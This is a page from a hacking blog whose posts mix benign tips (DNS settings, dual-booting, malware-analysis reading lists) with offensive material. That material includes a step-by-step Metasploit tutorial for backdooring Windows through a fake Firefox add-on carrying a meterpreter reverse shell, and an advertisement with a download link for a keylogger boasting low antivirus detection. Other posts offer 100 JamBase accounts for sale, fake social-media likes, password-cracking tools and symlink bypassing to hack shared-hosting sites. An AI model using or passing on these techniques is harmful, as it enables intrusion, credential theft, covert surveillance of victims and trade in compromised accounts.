Crack Rule

All the hackers are Welcome. Please contribute your support to make this blog one of the top latest hacking trick adda.

Showing posts with label Basic Hacking Tutorials. Show all posts

Hack BSNL Broadband for Speed

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , 0 comments

If you are a BSNL broadband user, chances are that you are facing frequent DNS issues. Their DNS servers are just unresponsive. The look up takes a long duration and many times just time out. The solution? There is small hack on BSNL for this. Use third party DNS servers instead of BSNL DNS servers or run your own one like djbdns. The easiest options is to use OpenDNS. Just reconfigure your network to use the following DNS servers:

208.67.222.222
208.67.220.220

Detailed instructions specific to operating system or your BSNL modem are available in the OpenDNS website itself. After I reconfigured my BSNL modem to use the above 2 IP addresses, my DNS problems just vanished! Other ‘freebies’ that come with OpenDNS are phishing filters and automatic URL correction. Even if your service provider’s DNS servers are working fine, you can still use OpenDNS just for these two special features.After you hack BSNL DNS servers, you will see a noticeable improvement in your broadband speed.

How to Run Linux and Windows on the Same Computer

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , 0 comments

Dual booting Linux and Windows is always a painstaking task for most people especially if you have Win2000 (NTFS) and using LILO in Linux. In this paper I will discuss how to dual boot Red Hat Linux (RHL) with Windows2000 (NT5).

I assume you have a Windows 2000 Professional in full NTFS mode, Red Hat Linux 7.0 with Kernel 2.2 both in one HDD. Well, it's true there are some tools available out there that will do the job for you but we are hackers and we love doing things with whatever minimum we have available at hand.

In scenario 1 let's assume you already have Linux and Windows installed and you use a boot disk to start-up Linux. To get rid of the floppy you have to do the following:

Boot to your Linux partition and cat /etc/lilo.conf. At the beginning (global section) of the lilo.conf file you'll see something like boot=/dev/hda8. Take a note of this line.

Now, you have to copy the boot sector file. For this as root do the following:

dd if=/dev/hda8 bs=512 count=1 of=mylinux.lnx

Here, I assume that your linux partition is in /dev/hda8. After executing this command you'll see something like this:

1+0 records in
1+0 records out

Now, a file named mylinux.lnx has been created in your home directory. To make sure, type 'ls'. And you will see the file. Now, you need a FAT formatted floppy disk to copy this file. Put the floppy in and type this command:

mcopy mylinux.lnx a:

This will copy the file in the floppy. In case, if you don't have the command mcopy, you have to install an rpm named mtools. Easy!! Just go to your Linux CD (/mnt/cdrom/RedHat/RPMS) and find out the file mtools-some_version.rpm and install it.

Ok now as you have mcopy the mylinux.lnx file in the floppy, remove the floppy and restart to Windows2000. Now, in Windows C: drive you have to do 2 things. First, copy the file (mylinux.lnx) from the floppy to C drive. And then edit your boot.ini file (which is located in your C drive). If unfortunately you can't see boot.ini then check the hidden files and folder in Windows >> View options. After copying the file, notepad to your boot.ini file and add the following lines at the end of the section

c:\ mylinux.lnx ="Linux"

Save it and restart again. Now, you'll see two options to boot from.

If unfortunately you see that the process is not working you have to do some troubleshooting. Please note that whatever troubleshooting you do, after that you have to go through the whole process again.

Ok. if the process doesn't work at first place go to your Linux box and type LILO. This will update LILO. But if you see something unusual like "can't write to LILO because the cylinder of the partition is 1024" then Vi to /etc/lilo.conf and you'll see a line named Linear. Replace Linear with lba32 quit and update LILO. This will solve the problem.

Also sometimes adding the following lines to lilo might help:

other=/dev/hda1
label=windows2000

You can also install W2k first in FAT32 mode. Install Linux with LILO on MBR and put the upper line on the /etc/lilo.conf file. This will do the job fine for you. Now, you can freely convert your W2k partition in NTFS mode keeping the current installation intact. To convert to NTFS type the following at your DOS prompt:

Convert C: /FS:NTFS (Change the drive letter as you deem fit)

In this paper I have described ways to make it possible to make NTFS and Ext2 to live together. I hope this was of help to you.

Crack, Remove, Recover or Break Lost ZIP Password with PicoZIP

Posted by Nehul Agrawal

When I started a series of posts om How to crack Passwords, one of the post was about cracking RAR passwords. After that post, I received a few requests to ways to crack or hack the ZIP Passwords. Then I came to know that there is a huge community which uses ZIP and not RAR formats for the file compression. Hence I searched for a tool to recover or crack lost ZIP passwords and came out with the following.

PicoZIP Password Recovery Tool – Crack, Remove, Recover or Break Lost ZIP Password
PicoZip Recovery Tool is an easy-to-use program that helps you recover lost or forgotten passwords from password protected Zip files created by compression utilities like PicoZip, WinZip, PKZip, etc. It is a freeware and can be downloaded from many of the software repository sites totally free of cost.

Key features of this ZIP Password Cracker
Self-extracting Zip files are supported
You can chose Brute Force or Dictionary based recovery methods
A 650,000+ words English dictionary is included
SFX Zip files also supported
If you want to use PicZIP Password cracker as a portable password recover tool, then you can just download the installer and install to the default folder C:\Program Files\PicoZipRT. Then copy all files (except UNWISE.EXE and INSTALL.LOG) into a folder of your choice. Finally, uninstall the program. Launch the program by double-clicking on PicoRecovery.exe.

Caution: I just read this review on SnapFiles, where it no longer exists as a download

Don’t expect too much – “The program will work as advertised, but with an exception: It does NOT work with AES-encrypted ZIP archives. It does work with ZIP 2.0-compatible encryption, provided that the person who encrypted the archive was dumb enough to use a password which (a) is a meaningful word in any language, (b) is 7 characters and shorter, (c) does not contain any special characters. A password as simple as “my7good3ness” will not be retrieved either by the dictionary method (because the word AS TYPED is in no dictionary) or by the Brute Force method because id would take years.”

Whatever be the case, you can still try to use this on your password protected ZIP files. Who knows which tool is able to work, when it comes to password recovey. Many times it is a matter of chance or luck.
download here

Free Facebook Fan Page likes or Free facebook likes

Posted by Nehul Agrawal

Labels: advance hacking , Basic Hacking Tutorials , Code/Script , Facebook , YouTube , 0 comments

Hello Guys here today a new trick is evolved for you to get free Facebook likes, YouTube views, twitter follower, Dig followers, LinkedIn followers, and much more in just a small package and free of cost I know you guys must be shocked. But it’s really true it’s all free. Watch the video down below to see the Trailer and full movie you can see on http://freefanlovers.mylearnia.com.

100 Jambase(JamBase.com) accounts

Posted by Nehul Agrawal

Labels: advance hacking , Basic Hacking Tutorials , 0 comments

Friends you all know about a best music based website. I have 100 jam base 100% working accounts. From which some of them have Photos too. If you want to have those accounts then it wont cost you much its only $10 for 100 JamBase accounts. I have only 100 accounts so make Hurry Up!!!

As you guys might already know that jam base is having its alexa ranking 10,000 and doing great from there side. So if any of you are having a sound freeky or want to have fans on your JamBase account then start following us.

For more details Contact me at nehul.splendit@gmail.com or info@mylearnia.com

90% SSL websites are vulnerable to the BEAST SSL attack

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , Hack Info , Tech Info , 0 comments

According to the latest cyber report by the Trustworthy Internet Movement (TIM), a nonprofit organization dedicated to solving Internet security, privacy and reliability problems, 90% of the websites running on HTTPS enabled secure protocol are vulnerable to the SSL attack, BEAST.

This report is based on the data provided by SSL Pulse project. This project scanned top 1 million websites with the automated scanning technology developed by security vendor Qualys and then generated a report on strength of HTTPS implementations. It checks what protocols are supported by the HTTPS-enabled websites (SSL 2.0, SSL 3.0, TLS 1.0, TLS 1.1, etc.), the key length used for securing communications (512 bits, 1024 bits, 2048 bits, etc.) and the strength of the supported ciphers (256 bits, 128 bits or lower).

90% od the websites scanned are vulnerable to the known type of attack BEAST. This SSL attack takes advantage of a flaw in SSL 3.0, allowing the attacker to grab and decrypt HTTPS cookies on an end user’s browser, effectively hijacking the victim’s session. This could be achieved either through an iframe injection or by loading the BEAST JavaScript into the victim’s browser, but BEAST is known to be especially hard to execute.

Trustworthy Internet Movement has also created a taskforce which includes various security experts who will review SSL governance issues and develop proposals aimed at fixing both SSL and the certificate authority systems. The taskforce members include Michael Barrett, chief information security officer at PayPal; Taher Elgamal, one of the creators of the SSL protocol; Adam Langley, a Google software engineer responsible for SSL in Chrome and on the company's front-end servers; Moxie Marlinspike, the creator of the Convergence project, which offers an alternative method for SSL certificate validation; Ivan Ristic, the creator of the Qualys SSL Labs and Ryan Hurst, chief technology officer at certificate authority GlobalSign.

The Art of Human Hacking -Social Engineering(SE) tutorial series

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , 0 comments

Hello BTS readers, here we come with an interesting tutorial written by my friend Mr.Ashish Mistry who is the founder of Hcon and author of 'HconSTF ' project.
Hello all,

after a long time I am again started writing, In a hope that my believe in “sharing the spirit of learning” fulfills well. So from today I am going to write series of tutorials on my favorite topic, 'Social Engineering' (SE).

starting from small intro to very basics of what SE is, why should you learn and use it, How it works, and as we go on further in this series, we will look at 'leveraging SE into penetration testing'.
Disclaimer: All the examples used in the tutorials series are some of my own and some of from the random pick from internet and Social-net, so if any of the example accidentally meets your situation than, no one can held me responsible for anything in any regards what so ever. This are just for examples and totally educational purpose and I am not in an intention to offense anyone or anything.
This tutorials are for educational purpose only, only you as reader is responsible for whatever you do with this material published here and not the author and not the site.
So lets we begin with the first tutorial on SE,

Finding a Qualified Penetration Tester for Your Site

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , hacking tools , 0 comments

The penetration testing industry is enjoying an upsurge as more high-profile security breaches are reported in the media, such as the recent LinkedIn password debacle, and companies scramble to tighten up their systems. Done correctly, pen testing can illuminate security flaws in a network by utilizing the skills and viewpoint of an external third party, which in most cases, to be frank, is a great hacker.
It is the classic case of thinking like a criminal in order to catch one. A penetration tester should not be culled from the ranks of your average computer science major or CIO, as they lack the necessary "underground" experience and mentality to truly think the way professional exploiters do.

So what qualities should be looked for in a penetration tester, to find one that will think like a criminal without actually being one? Here are some hallmarks.

List of Best sites to learn Malware Analysis

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , Hack Info , 1 comments

List of Best sites to learn Malware Analysis are you interested to learn Malware analysis and searching for the best resources?! Ok , i will give the list of sites where you can learn the malware analysis.
Malware Analysis Tutorials: a Reverse Engineering Approach
A series of Malware analysis tutorial written by Dr. Xiang Fu. In this blog, you will learn how to setup your malware analysis lab and do code analysis part using Immunity Debugger.
Link: Dr. Fu's Security Blog

Hash Code verifier v1.1 released - Generate Hash for multiple files

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , 0 comments

Hello BTS readers, we have update our File Integrity verifying tool "Hash Code Verifier". The new version 1.1 is available to download.

Changelog:
-----------------------
recursive directory traversal: Generate hash for all files in the given folder Clear Table Bug fixed Singl File comparing issue Fixed Right-Click copy menu null file creation fixed Hide/Show Columns optionsUser
interface modified

Download:
http://projects.breakthesecurity.com/Download.html

How to Use Ravan for Password Cracking?

Posted by Nehul Agrawal

Labels: advance hacking , Basic Hacking Tutorials , 0 comments

How to Use Ravan for Password Cracking? In my previous article, i explained about the Ravan Tool. Now let us see how to use the Ravan for cracking passwords. Ravan is Distributed password cracking method. So you will need lot of friends who have Pc with Internet connection. The speed of cracking will increase based on the number of pc contribute in the cracking.

Step1:

Hacking Windows 7 & Xp with Fake Firefox add-on (XPI) : Metasploit Tutorials

Posted by Nehul Agrawal

Labels: advance hacking , Basic Hacking Tutorials , 0 comments

Hello BTS readers, i believe you enjoyed my last tutorial ( Java AtomicReferenceArray type violation vulnerability and exploiting ). So here is second tutorial for you ! In this tutorial i am going to explain how to hack any windows machine(xp,7) with the help of Metasploit.
Unlike last tutorial, we are not going to exploit any kind of vulnerabilities. We are going to use Social Engineering technique instead.

What exactly i am going to do?!
Create a fake firefox extension with Metasploit that creates a backdoor from the victim system.Trick users into installing the add-onBreak into the Target Machine.Pre-configuration:
As usual, you have to set up two virutal machines(VM ) in your virtualbox namely "Target" and "Attacker".Install the windows xp or 7 in the Target VM.Install the Backtrack in the Attacker VM.need help in configuring the VM?! you can read this tutorial "Set up pentesting lab".
Part I: Update the Metasploit
As we are going to use the latest module, you are advised to update the Metasploit modules. Don't know how to do this? No need to worry!
Open the Terminal type msfupdateThis will update the Metasploit with latest modules :)Part II: Configuring settings in Metasploit for the fake-addon exploit
Step 1:
Open the Terminal and type "msfconsole" to get the Metasploit console.
Type "use exploit/multi/browser/firefox_xpi_bootstrapped_addon" in the console.Now we have to know the list of settings available for this exploit module. In order to get the list , you can type "show options" in the console.

Unlike the last tutorial, this module has an extra settings for the module namely "addonname".

Let us configure the setting for the exploit.type the highlighted commands one by one in the consoleDetails: Name for the fake add-on. you can change the "fake" to any name.Command:set SRVHOST 192.168.56.11 Details: Here the 192.168.56.11 is the ip of Backtrack . You can get this ip by simply typing the "ifconfig" in the terminal. If you have trouble in getting the ip details, please drop your comment or read my previous post.

Details: Our server is going to be accessed via the port 80(default port)Details: The path in which the fake add-on will be available to download. For ex: http://192.168.56.11/fakeEx
Command: set LHOST 192.168.56.11 Details: Here the 192.168.56.11 is the ip of Backtrack . You can get this ip by simply typing the "ifconfig" in the terminal.
Step 5: Payload

As usual, we can use Reverse Tcp payload for this attack also. So type the following command in the Metasploit console:set payload windows/meterpreter/reverse_tcpPart III: Social Engineering Attack
Successfully configured the settings for the exploit, what else?! let us launch the exploit.
Type "exploit" in the console.
Now the exploit is started. Our fake add-on is available at, "http://192.168.56.11/fakeEx".

Once victim visit the link, it will ask user to install the add-on in order to view the page. Once user install the add-on, the system will be backdoor-ed.

Now , You can control the victim system from meterpreter.

Countermeasures:
I believe you understand the risks of installing the add-on from unknown sources. So, think twice before installing add-on . Always use trusted add-on. Search in the google for review about the add-on.
Disclaimer:
The article given here is educational purpose only. We suggest you to try this method in a controlled virtualbox environment. We are not responsible for your illegal activity.

How to hack remote computer using Metasploit? Exploiting Java vulnerability CVE-2012-0507

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , Vulnerability Tutorial , 1 comments

Whenever someone say PenTesting tool, the first thing come in our mind is MetaSploit . Today, i am going to demonstrate how to use the Metasploit tool to exploit the popular java AtomicReferenceArray Type Violation vulnerability(CVE-2012-0507).

List of websites to check whether website is safe to use or not

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , Hack Info , 0 comments

In one of my posts, i explained how to check a website is safe or not using McAfee siteAdvisor add on. But ,checking with one site is not enough. To make sure whether site is free from malware or not, we have to verify the target-link with few more sites.

Ravan , JavaScript based Distributed Password cracking

Posted by Nehul Agrawal

Labels: advance hacking , Basic Hacking Tutorials , 0 comments

You want to crack a hash but your system speed is low?! No need to worry..! Here is solution for you , "Distributed Password Cracking". Let me introduce a new tool called "Ravan" developed by LavaKumar.

Ravan is a JavaScript based Distributed Computing system that can perform brute force attacks on salted hashes by distributing the task across several browsers. It makes use of HTML5 WebWorkers to start background JavaScript threads in the browsers of the workers, each worker computes a part of the hash cracking activity.

Malware Analysis Video Tutorial for Beginners

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , Hack Info , 0 comments

Learn malware analysis fundamentals from the primary author of SANS' course FOR610: Reverse-Engineering Malware (REM). More at LearnREM.com.

In this session, Lenny Zeltser will introduce you to the process of reverse-engineering malicious software. He will outline behavioral and code analysis phases, to make this topic accessible even to individuals with a limited exposure to programming concepts. You'll learn the fundamentals and associated tools to get started with malware analysis.

How to hack a websites using Symlink Bypassing?

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , 0 comments

Symlink is a method to reference other files and folder on Linux, in order to make linux work faster. Symlink Bypassing is a hacking technique used to gain unauthorized access to folders on a server. Using this technique an hackers are able to hack multiple sites on a shared web hosting service.
Here is Video tutorial that explain how to hack a website using Symlink Bypassing, Video demo is created by SilentHacker.

How to Fetch Username and Password by Social Engineering Technologies?

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , 0 comments

Security Researcher Ankit Sharma,from God of hackers group(GOH) presented a video tutorial which explains how to do social engineering attacks using Backtrack.

Social engineering is commonly understood to mean the art of manipulating people into performing actions or divulging confidential information. While it is similar to a confidence trick or simple fraud, the term typically applies to trickery or deception for the purpose of information gathering, fraud, or computer system access; in most cases the attacker never comes face-to-face with the victims.

How to Remote Control your Windows PC with Email or SMS

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , Trick , windows , 0 comments

It’s a long weekend and you’re happy because you’ll get to spend the next three days with your family. You left the office in an excited mood but as the cab was approaching home, you suddenly realized that you forgot to shut down the Office PC. Oops!

It’s a sinking feeling because there’re so many confidential documents on the computer and since most of your trusted colleagues have also left for the day, there’s no point calling them for help.
So what do you do? Drive back to Office? Well that’s not required – just take out your cell phone or switch on the laptop at home, send an email (or an SMS or a tweet) and that will instantly lock your Office workstation. And if you share the same computer with multiple people, you can use another email command to remotely log off or even shut down the computer from anywhere in the world.
twitter commands

There’s no magic here, it’s the power of TweetMyPC utility that lets you remote control your computer from a mobile phone or any other Internet connected computer.
It works like this. You first install the free TweetMyPC utility on any Windows PC and associate your Twitter account. The app will silently monitor your Twitter stream every minute for any desktop commands and if it finds one, will act upon it immediately. The initial version of TweetMyPC was limited to basic shutdown and restart commands, however the current v2 has a far more robust set of commands, enabling a far more useful way of getting your PC to carry out certain tasks especially when you’re AFK (Away From Keyboard).
Before we get started, it may be a good thing if you can set up a new twitter account for remote controlling your desktop and also protect the status updates of this account to ensure better security.
Protecting the account means that you prevent other users from reading your tweets which in this case are email commands that you sending to the computer. To protect your Twitter profile, log in to Twitter with the credentials you want to use, click Settings and check the box next to “Protect my Updates”.
Let’s get started. Install the TweetMyPC utility of your computer and associate your Twitter and Gmail account with the application. It will use Twitter to receive remote commands (like shutdown, log-off, lock workstation, etc) from while the email account will be used for send your information (e.g., what process are currently running on your computer).
Now that your basic configuration is done, it’s time to set up a posting method. You can use email, SMS, IM, web or any of the Twitter clients to send commands to the remote computer.
By Email: Associate you Twitter account with Posterous (auto-post) and all email messages sent to twitter@posterous.com will therefore become commands for the remote computer. (Also see: Post to Twitter via Email)
By SMS: If you live in US, UK, Canada, India, Germany, Sweden or New Zeleand, you can send associate Twitter with your mobile phone (see list of numbers) and then control your remote computer via SMS Text Messages.
By IM: Add the Twitter bot – twitter@twitter.com – to your list of Google Talk buddies and you can then send commands via instant message.
By Web:If you are on vacation but have access to an internet connected laptop, just log into the Twitter website and issue commands (e.g., shutdown or logoff) just as another tweet.
lock computer shutdown

While the TweetMyPC is pretty good for shutting down a remote computer, it lets you do some more awesome stuff as well.
For instance, you need to download an unfinished presentation from the office computer so that you can work on it at home. Or you want to download a trial copy of Windows 7 on the Office computer while you are at home.
Here’s a partial list of commands that you can use to remote control the PC – they’re case-insensitive and, as discussed above, you can send them to Twitter via email, SMS, IM or the web.
Screenshot : This is one of the most useful command I’ve come across after the shutdown command. Want to know what’s happening within the confines of your PC when you’re not around? Just tweet screenshot and TweetMyPC will take a screenshot of your desktop and post it to the web (see example).
ShutDown, LogOff, Reboot, Lock : The function of these useful commands is pretty obvious from their names.
Standby, Hibernate : Don’t want to shutdown the remote PC? Save power by entering standby mode with this command. Or hibernate your PC with a tweet, thereby saving even more power.
download files via twitter

Download : You can download any file from the Internet on to the remote computer using the download command. For instance, a command like download http://bit.ly/tCJ9Y will download the CIA Handbook so you have the document ready when you resume work the next day.
GetFile : The Download command was for downloading files from the Internet onto the remote computer. However, if you like to transfer a file from the remote computer to your current computer, use the GetFile command. It takes the full page of the file that you want to download and will send that you as an email attachment. If you don’t know the file page, use the command GetFileList to get a list of file folders on that drive.

GetProcessList : This is like a remote task manager. You’ll get a list of programs that are currently running on the remote computer along with their process IDs. Send another command kill to terminate any program that you think is suspicious or not required.

[NEW][UD][PUBLIC]Decay Logger Public Version[ICON CHANGER][VB.Net][100% Unique]

Posted by Nehul Agrawal

Labels: Basic Hacking Tutorials , Keylogger , 0 comments

Are you tired of confusing keyloggers?Keyloggers with no supportKeyloggers that just don’t get the simple task done of logging keystrokes?Welcome to Decay Logger Public Version, where the user is always put first. This is a new keylogger that is still in development stages, and we are working tirelessly to help you simply get the job done. Here’s some basic information and features that Decay Logger has:
Features:
Gmail and Hotmail Support2/16 Detection rate (will be updated to ensure at least a UD status)Icon ChangerUnique User-ID systemMutex (Prevent multiple logs)Infection times and noticesInstallCustom output nameA mindset that the user is always right!Coded in .Net (requires .Net framework, which all Windows PC’s have)Active DevelopmentHow-To Video: Click Here
Screenshots and Virus Scans:
Email Settings:
[Image: idWwi0.jpg]

Builder

Test Email:
[Image: idWUo6.jpg]

New Connection:
[Image: idRTfG.jpg]

Builder Scan
Stub Scan
Uncrypted Server Output
I’d like to add in, most of the coding done for Decay Public Logger was done by Antigeek! I myself only helped with a few smaller things. So lets all thank him too!
Download:
http://tinyurl.com/5vfl7er